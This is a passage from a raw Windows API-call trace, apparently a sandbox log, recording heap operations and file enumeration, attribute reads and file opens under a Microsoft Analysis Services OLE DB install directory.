nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0067.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.812] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.812] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd0650 [0067.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd2a20 [0067.812] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.812] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0067.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.812] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.812] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd0670 [0067.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd2b28 [0067.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.813] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0067.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd0690 [0067.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd2c30 [0067.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.813] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0067.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd06b0 [0067.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd2d38 [0067.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.813] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0067.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd06d0 [0067.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd2e40 [0067.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.814] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0067.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd06f0 [0067.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd2f48 [0067.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.814] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0067.814] GetLastError () returned 0x12 [0067.814] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0067.814] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0067.814] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.814] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0067.814] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0067.815] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0067.815] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0067.815] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0067.815] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0067.815] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0067.815] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0067.815] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0067.815] GetLastError () returned 0x12 [0067.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd2600) returned 1 [0067.815] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0067.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd2708) returned 1 [0067.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd24f8) returned 1 [0067.816] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="")) returned 1 [0067.816] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0067.816] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="")) returned 1 [0067.816] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="")) returned 1 [0067.816] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 1 [0067.816] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd24f8 [0067.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0067.816] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0067.816] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfd7460 [0067.816] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfd7460, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfd7460, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0067.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd7460) returned 1 [0067.816] NtClose (Handle=0x148) returned 0x0 [0067.817] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd24f8) returned 1 [0067.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd24f8 [0067.817] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd2708 [0067.817] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0067.817] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.817] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0067.817] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0067.817] GetLastError () returned 0x12 [0067.817] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d0a0 [0067.817] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0067.817] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.817] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0067.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd2600 [0067.817] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3050 [0067.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0067.859] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0067.859] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfd7460 [0067.859] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfd7460, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xfd7460, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0067.859] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd7460) returned 1 [0067.859] NtClose (Handle=0x148) returned 0x0 [0067.859] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd3050) returned 1 [0067.859] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.859] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.859] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3050 [0067.859] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.859] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3158 [0067.859] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d120 [0067.859] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, 